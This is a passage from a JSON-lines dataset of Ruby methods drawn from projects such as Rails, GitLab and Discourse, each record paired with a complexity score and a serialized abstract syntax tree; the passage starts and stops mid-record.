check\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"s\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}","id":"636fa74a-659f-4a3d-9eb9-45a241aa8e1c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/embeddings/semantic_related.rb","start_line":87,"raw_source":"def self.clear_cache!\n        Discourse\n          .cache\n          .keys(\"#{CACHE_PREFIX}*\")\n          .each { |key| Discourse.cache.delete(key.split(\":\").last) }\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_cache!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"keys\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CACHE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]},\"last\"]}]}]}]}","id":"3a2e9d7f-394f-4634-9e16-71ac6d5bdd71"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1386,"raw_source":"def validate_timestamp?\n        ActiveRecord.timestamped_migrations && ActiveRecord.validate_migration_timestamps\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_timestamp?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"timestamped_migrations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"validate_migration_timestamps\"]}]}]}","id":"3a44557b-ebf0-48a9-8b65-4fee62ec6742"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/security_utils.rb","start_line":15,"raw_source":"def fixed_length_secure_compare(a, b)\n        raise ArgumentError, \"string length mismatch.\" unless a.bytesize == b.bytesize\n\n        l = a.unpack \"C#{a.bytesize}\"\n\n        res = 0\n        b.each_byte { |byte| res |= byte ^ l.shift }\n        res == 0\n      end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fixed_length_secure_compare\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"bytesize\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"bytesize\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"string length mismatch.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"l\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"unpack\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"C\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"bytesize\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"each_byte\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"byte\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"byte\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"shift\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"8447d512-4567-43d8-9dbe-fe0efc43c9fc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/repositories/changelog_commits_finder.rb","start_line":35,"raw_source":"def initialize(project:, from:, to:, per_page: COMMITS_PER_PAGE)\n      @project = project\n      @from = from\n      @to = to\n      @per_page = per_page\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"from\"]},{\"type\":\"kwarg\",\"children\":[\"to\"]},{\"type\":\"kwoptarg\",\"children\":[\"per_page\",{\"type\":\"const\",\"children\":[null,\"COMMITS_PER_PAGE\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@from\",{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@to\",{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@per_page\",{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]}","id":"ce86468b-9cef-4f59-b6ff-37a9d5c7e146"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/number_helper_test.rb","start_line":168,"raw_source":"def test_number_helpers_should_raise_error_if_invalid_when_specified\n    exception = assert_raise InvalidNumberError do\n      number_to_human(\"x\", raise: true)\n    end\n    assert_equal \"x\", exception.number\n\n    exception = assert_raise InvalidNumberError do\n      number_to_human_size(\"x\", raise: true)\n    end\n    assert_equal \"x\", exception.number\n\n    exception = assert_raise InvalidNumberError do\n      number_with_precision(\"x\", raise: true)\n    end\n    assert_equal \"x\", exception.number\n\n    exception = assert_raise InvalidNumberError do\n      number_to_currency(\"x\", raise: true)\n    end\n    assert_equal \"x\", exception.number\n\n    exception = assert_raise InvalidNumberError do\n      number_to_percentage(\"x\", raise: true)\n    end\n    assert_equal \"x\", exception.number\n\n    exception = assert_raise InvalidNumberError do\n      number_with_delimiter(\"x\", raise: true)\n    end\n    assert_equal \"x\", exception.number\n\n    exception = assert_raise InvalidNumberError do\n      number_to_phone(\"x\", raise: true)\n    end\n    assert_equal \"x\", exception.number\n  end","complexity_score":44.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_number_helpers_should_raise_error_if_invalid_when_specified\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"InvalidNumberError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"number_to_human\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"number\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"InvalidNumberError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"number_to_human_size\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"number\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"InvalidNumberError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"number_with_precision\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"number\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"InvalidNumberError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"number_to_currency\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"number\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"InvalidNumberError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"number_to_percentage\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"number\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"InvalidNumberError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"number\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"InvalidNumberError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"number_to_phone\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"number\"]}]}]}]}","id":"b41d94c8-c834-456c-a978-ac67bb1e2105"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/services/dialog_import_service.rb","start_line":46,"raw_source":"def import_service_dialogs(import_file_upload, dialogs_to_import)\n    unless dialogs_to_import.nil?\n      dialogs = YAML.load(import_file_upload.uploaded_content)\n      dialogs = dialogs.select do |dialog|\n        dialogs_to_import.include?(dialog[\"label\"])\n      end\n\n      import_from_dialogs(dialogs)\n    end\n\n    destroy_queued_deletion(import_file_upload.id)\n    import_file_upload.destroy\n  end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"import_service_dialogs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_file_upload\"]},{\"type\":\"arg\",\"children\":[\"dialogs_to_import\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialogs_to_import\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dialogs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_file_upload\"]},\"uploaded_content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dialogs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialogs\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dialog\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialogs_to_import\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog\"]},\"[]\",{\"type\":\"str\",\"children\":[\"label\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"import_from_dialogs\",{\"type\":\"lvar\",\"children\":[\"dialogs\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"destroy_queued_deletion\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_file_upload\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_file_upload\"]},\"destroy\"]}]}]}","id":"0f52b40b-c7a1-435a-949e-84f98947ecd6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/group_links/create_service.rb","start_line":8,"raw_source":"def initialize(group, shared_with_group, user, params)\n        @shared_with_group = shared_with_group\n\n        super(group, user, params)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"shared_with_group\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@shared_with_group\",{\"type\":\"lvar\",\"children\":[\"shared_with_group\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"fbe7fc21-01e9-420e-8298-61600dedab73"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/format_validation_test.rb","start_line":107,"raw_source":"def test_validates_format_of_when_not_isnt_a_regexp_should_raise_error\n    assert_raise(ArgumentError) { Topic.validates_format_of(:title, without: \"clearly not a regexp\") }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_format_of_when_not_isnt_a_regexp_should_raise_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_format_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"without\"]},{\"type\":\"str\",\"children\":[\"clearly not a regexp\"]}]}]}]}]}]}","id":"398b97f4-0cf6-46b0-9dda-b387ddf1768f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/imageable.rb","start_line":49,"raw_source":"def entrypoint\n            value[:entrypoint]\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"entrypoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entrypoint\"]}]}]}","id":"9c544b03-6d17-459c-8542-424efbe2ed74"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/mime_type.rb","start_line":186,"raw_source":"def register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], skip_lookup = false)\n        new_mime = Type.new(string, symbol, mime_type_synonyms)\n\n        SET << new_mime\n\n        ([string] + mime_type_synonyms).each { |str| LOOKUP[str] = new_mime } unless skip_lookup\n        ([symbol] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext.to_s] = new_mime }\n\n        @register_callbacks.each do |callback|\n          callback.call(new_mime)\n        end\n        new_mime\n      end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]},{\"type\":\"arg\",\"children\":[\"symbol\"]},{\"type\":\"optarg\",\"children\":[\"mime_type_synonyms\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"extension_synonyms\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"skip_lookup\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_mime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"string\"]},{\"type\":\"lvar\",\"children\":[\"symbol\"]},{\"type\":\"lvar\",\"children\":[\"mime_type_synonyms\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SET\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"new_mime\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_lookup\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"mime_type_synonyms\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOOKUP\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"lvar\",\"children\":[\"new_mime\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"symbol\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"extension_synonyms\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ext\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXTENSION_LOOKUP\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"new_mime\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@register_callbacks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"callback\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"new_mime\"]}]}]},{\"type\":\"lvar\",\"children\":[\"new_mime\"]}]}]}","id":"c1713079-68e3-4e0d-9091-b908bf28ab13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/release_environment/construct-release-environments-versions.rb","start_line":83,"raw_source":"def security_project?\n    ENV['CI_PROJECT_PATH'] == \"gitlab-org/security/gitlab\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"security_project?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_PROJECT_PATH\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"gitlab-org/security/gitlab\"]}]}]}","id":"c57c0d35-fef2-4544-9184-67698a5fa402"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/repository_service.rb","start_line":61,"raw_source":"def get_object_directory_size\n        request = Gitaly::GetObjectDirectorySizeRequest.new(repository: @gitaly_repo)\n        response = gitaly_client_call(@storage, :repository_service, :get_object_directory_size, request, timeout: GitalyClient.medium_timeout)\n\n        response.size\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_object_directory_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"GetObjectDirectorySizeRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"ivar\",\"children\":[\"@storage\"]},{\"type\":\"sym\",\"children\":[\"repository_service\"]},{\"type\":\"sym\",\"children\":[\"get_object_directory_size\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"medium_timeout\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"size\"]}]}]}","id":"517e1a84-c671-4c04-88c4-4ccf8105bf10"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/gitlab_projects_controller.rb","start_line":52,"raw_source":"def project_params\n    params.permit(\n      :name, :path, :namespace_id, :file\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"sym\",\"children\":[\"file\"]}]}]}","id":"dd1e4c13-ffaa-41dc-afd5-b1a93b912477"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/blob_helper.rb","start_line":22,"raw_source":"def large?\n      size.to_i > MEGABYTE\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"large?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]},\"to_i\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MEGABYTE\"]}]}]}","id":"185345dc-95d1-4919-a294-5415e017409c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/theme_settings_manager.rb","start_line":75,"raw_source":"def update_record!(args)\n    db_record.tap { |instance| instance.update!(args) }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update_record!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_record\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"update!\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"384bf26d-81e0-4685-84ac-0d0aea43ccc4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":950,"raw_source":"def authenticate_non_public?\n      route_authentication_setting[:authenticate_non_public] && !current_user\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_non_public?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route_authentication_setting\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"authenticate_non_public\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"!\"]}]}]}","id":"373a7ea3-5b70-4cfd-85f5-6ba4780c6a38"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/work_packages/scheduling/automatic_scheduling_logic_spec.rb","start_line":87,"raw_source":"def open_date_picker\n    date_field.activate!\n    date_field.expect_active!\n    # Wait for the datepicker to be initialized\n    datepicker.expect_visible\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"open_date_picker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_field\"]},\"activate!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_field\"]},\"expect_active!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datepicker\"]},\"expect_visible\"]}]}]}","id":"8f82ab66-5ef8-4ae0-a812-83bbb0877337"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/partitionable.rb","start_line":55,"raw_source":"def handle_partitionable_through(options)\n        return unless options\n        return if Gitlab::Utils.to_boolean(ENV['DISABLE_PARTITIONABLE_SWITCH'], default: false)\n\n        define_singleton_method(:routing_table_name) { options[:table] }\n        define_singleton_method(:routing_table_name_flag) { options[:flag] }\n\n        include Partitionable::Switch\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_partitionable_through\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DISABLE_PARTITIONABLE_SWITCH\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"routing_table_name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"routing_t